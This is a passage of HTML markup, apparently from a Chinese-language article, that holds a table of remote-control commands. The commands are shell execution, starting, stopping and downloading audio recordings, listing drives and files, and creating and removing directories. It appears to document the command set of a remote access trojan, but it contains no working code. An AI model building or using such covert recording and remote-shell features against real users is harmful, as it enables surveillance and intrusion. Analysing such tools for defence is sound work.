0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">执行shell命令</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">shell命令字符串</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">执行并返回结果</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">RecordingStart</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">msg == &#34;RecordingStart&#34;</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">开始录音</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">无参数</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">未实现</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">RecordingStop</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">msg == &#34;RecordingStop&#34;</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">停止录音</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">无参数</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">未实现</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">RecordingDownload</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">msg == &#34;RecordingDownload&#34;</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">下载录音文件</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">无参数</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">未实现</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">ListDrives</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">msg == &#34;ListDrives&#34;</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">列出所有磁盘驱动器</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">无参数</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">调用listdrives()</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">ListFiles</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">msg.StartsWith(&#34;ListFiles&#34;)</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">列出目录中的文件</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">目录路径</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">FileManagerFiles[文件名1|创建时间1|最后访问时间1|大小1|类型1\n文件名2|...]</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">mkdir</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">msg.Contains(&#34;mkdir&#34;)</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">创建新目录</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">目录路径</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">调用createnewdirectory()</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">rmdir</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">msg.Contains(&#34;rmdir&#34;)</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 